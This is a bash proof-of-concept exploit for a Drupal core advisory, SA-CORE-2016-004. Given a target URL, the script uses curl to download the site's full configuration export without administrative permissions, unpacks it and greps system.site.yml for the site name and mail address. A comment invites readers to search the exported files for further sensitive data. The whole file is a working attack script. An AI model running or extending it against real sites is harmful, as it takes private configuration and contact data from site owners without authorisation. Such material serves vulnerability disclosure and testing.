SA_CORE_2016_004.sh

#!/bin/bash
#
# PoC for SA-CORE-2016-004
# Full config export can be downloaded without administrative permissions  
# 
# The idea is to grep for sensitive information within the exported
# config files. Feel free to add your own findings :)
#
###############################################################################

if [ $# -ne 1 ]; then
    echo "Usage: $0 URL"
else
    URL=${1%/}
    ARCHIVE=`mktemp`
    rm $ARCHIVE
    mkdir $ARCHIVE
    curl -s "$URL/system/temporary?file=config.tar.gz" > "$ARCHIVE\.tar.gz"
    tar xzvf "$ARCHIVE\.tar.gz" -C $ARCHIVE >/dev/null
    grep name "$ARCHIVE/system.site.yml"
    grep mail "$ARCHIVE/system.site.yml"
    rm -rf "$ARCHIVE"
    rm "$ARCHIVE\.tar.gz"
fi